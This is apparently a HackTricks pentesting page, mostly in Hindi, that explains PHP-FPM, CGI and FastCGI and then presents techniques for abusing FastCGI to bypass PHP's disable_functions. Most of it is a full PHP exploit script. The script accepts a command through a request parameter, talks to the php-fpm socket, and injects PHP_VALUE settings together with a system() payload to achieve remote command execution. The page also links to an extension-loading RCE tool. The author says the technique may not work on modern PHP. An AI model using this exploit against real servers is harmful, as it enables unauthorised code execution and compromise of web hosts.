PHP-FPM को मानक PHP FastCGI के श्रेष्ठ विकल्प के रूप में प्रस्तुत किया गया है, जो उच्च ट्रैफ़िक वाली वेबसाइटों के लिए विशेष रूप से लाभकारी सुविधाएँ प्रदान करता है। यह एक मास्टर प्रक्रिया के माध्यम से कार्यकर्ता प्रक्रियाओं के एक समूह की निगरानी करता है। PHP स्क्रिप्ट अनुरोध के लिए, यह वेब सर्वर है जो PHP-FPM सेवा के लिए एक FastCGI प्रॉक्सी कनेक्शन शुरू करता है। इस सेवा में सर्वर पर नेटवर्क पोर्ट या यूनिक्स सॉकेट के माध्यम से अनुरोध प्राप्त करने की क्षमता है।
प्रॉक्सी कनेक्शन की मध्यस्थ भूमिका के बावजूद, PHP-FPM को वेब सर्वर के समान मशीन पर कार्यशील होना आवश्यक है। इसका उपयोग किया जाने वाला कनेक्शन, जबकि प्रॉक्सी-आधारित है, पारंपरिक प्रॉक्सी कनेक्शनों से भिन्न है। एक अनुरोध प्राप्त करने पर, PHP-FPM से एक उपलब्ध कार्यकर्ता इसे संसाधित करता है—PHP स्क्रिप्ट को निष्पादित करता है और फिर परिणामों को वेब सर्वर को अग्रेषित करता है। एक कार्यकर्ता जब एक अनुरोध को संसाधित करना समाप्त कर देता है, तो यह आगामी अनुरोधों के लिए फिर से उपलब्ध हो जाता है।
But what is CGI and FastCGI?
CGI
सामान्यतः वेब पृष्ठ, फ़ाइलें और सभी दस्तावेज़ जो वेब सर्वर से ब्राउज़र में स्थानांतरित होते हैं, एक विशेष सार्वजनिक निर्देशिका जैसे home/user/public_html में संग्रहीत होते हैं। जब ब्राउज़र कुछ सामग्री का अनुरोध करता है, तो सर्वर इस निर्देशिका की जांच करता है और आवश्यक फ़ाइल को ब्राउज़र में भेजता है।
यदि CGI सर्वर पर स्थापित है, तो विशेष cgi-bin निर्देशिका भी वहाँ जोड़ी जाती है, जैसे home/user/public_html/cgi-bin। CGI स्क्रिप्ट इस निर्देशिका में संग्रहीत होती हैं। निर्देशिका में प्रत्येक फ़ाइल को एक निष्पादन योग्य कार्यक्रम के रूप में माना जाता है। जब निर्देशिका से एक स्क्रिप्ट तक पहुँचते हैं, तो सर्वर इस स्क्रिप्ट के लिए जिम्मेदार एप्लिकेशन को अनुरोध भेजता है, बजाय इसके कि फ़ाइल की सामग्री को ब्राउज़र में भेजे। इनपुट डेटा प्रसंस्करण पूरा होने के बाद, एप्लिकेशन आउटपुट डेटा को वेब सर्वर को भेजता है जो डेटा को HTTP क्लाइंट को अग्रेषित करता है।
उदाहरण के लिए, जब CGI स्क्रिप्ट http://mysitename.com/cgi-bin/file.pl तक पहुँचते हैं, तो सर्वर CGI के माध्यम से उपयुक्त पर्ल एप्लिकेशन को चलाएगा। स्क्रिप्ट निष्पादन से उत्पन्न डेटा एप्लिकेशन द्वारा वेब सर्वर को भेजा जाएगा। सर्वर, दूसरी ओर, डेटा को ब्राउज़र में स्थानांतरित करेगा। यदि सर्वर में CGI नहीं होता, तो ब्राउज़र .pl फ़ाइल कोड को स्वयं प्रदर्शित करता। (व्याख्या यहाँ से)
FastCGI
FastCGI एक नई वेब तकनीक है, जो एक उन्नत CGI संस्करण है क्योंकि मुख्य कार्यक्षमता समान रहती है।
FastCGI विकसित करने की आवश्यकता यह है कि वेब एप्लिकेशनों के तेजी से विकास और जटिलता के कारण उत्पन्न हुआ, साथ ही CGI तकनीक की स्केलेबिलिटी की कमियों को दूर करने के लिए। इन आवश्यकताओं को पूरा करने के लिए Open Market ने FastCGI – CGI तकनीक का एक उच्च प्रदर्शन संस्करण जो उन्नत क्षमताओं के साथ है, पेश किया।
disable_functions bypass
यह संभव है कि PHP कोड को FastCGI का दुरुपयोग करके चलाया जाए और disable_functions सीमाओं से बचा जाए।
Via Gopherus
मुझे यकीन नहीं है कि यह आधुनिक संस्करणों में काम कर रहा है क्योंकि मैंने एक बार कोशिश की थी और यह कुछ भी निष्पादित नहीं किया। कृपया, यदि आपके पास इसके बारे में अधिक जानकारी है तो मुझसे संपर्क करें [PEASS & HackTricks टेलीग्राम समूह यहाँ](https://t.me/peass), या ट्विटर [@carlospolopm](https://twitter.com/hacktricks_live).
Gopherus का उपयोग करके आप एक पेलोड उत्पन्न कर सकते हैं जिसे FastCGI श्रोता को भेजा जा सके और मनमाने आदेश निष्पादित किए जा सकें:
Uploading and accessing this script the exploit is going to be sent to FastCGI (disabling disable_functions) and the निर्धारित कमांड निष्पादित किए जाएंगे.
PHP exploit
I'm not sure if this is working in modern versions because I tried once and I couldn't execute anything. Actually I managed to see that phpinfo() from FastCGI execution indicated that disable_functions was empty, but PHP (somehow) was still preventing me from executing any previously disabled function. Please, if you have more information about this contact me via [PEASS & HackTricks telegram group here](https://t.me/peass), or twitter [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Using the previous function you will see that the function system is still disabled but phpinfo() shows a disable_functionsempty:
तो, मुझे लगता है कि आप केवल disable_functions को php .ini कॉन्फ़िग फ़ाइलों के माध्यम से सेट कर सकते हैं और PHP_VALUE उस सेटिंग को ओवरराइड नहीं करेगा।
This is a php script to exploit fastcgi protocol to bypass open_basedir and disable_functions.
It will help you to bypass strict disable_functions to RCE by loading the malicious extension.
You can access it here: https://github.com/w181496/FuckFastcgi or a sligtly modified and improved version here: https://github.com/BorelEnzo/FuckFastcgi
You will find that the exploit is very similar to the previous code, but instead of trying to bypass disable_functions using PHP_VALUE, it tries to load an external PHP module to execute code using the parameters extension_dir and extension inside the variable PHP_ADMIN_VALUE.
NOTE1: You probably will need to recompile the extension with the same PHP version that the server is using (you can check it inside the output of phpinfo):
NOTE2: मैंने इसे extension_dir और extension मानों को PHP .ini कॉन्फ़िग फ़ाइल में डालकर काम करने में सफल रहा (कुछ ऐसा जो आप सर्वर पर हमला करते समय नहीं कर पाएंगे)। लेकिन किसी कारण से, जब इस एक्सप्लॉइट का उपयोग करते हुए और PHP_ADMIN_VALUE वेरिएबल से एक्सटेंशन लोड करते हुए प्रक्रिया बस मर गई, इसलिए मुझे नहीं पता कि यह तकनीक अभी भी मान्य है।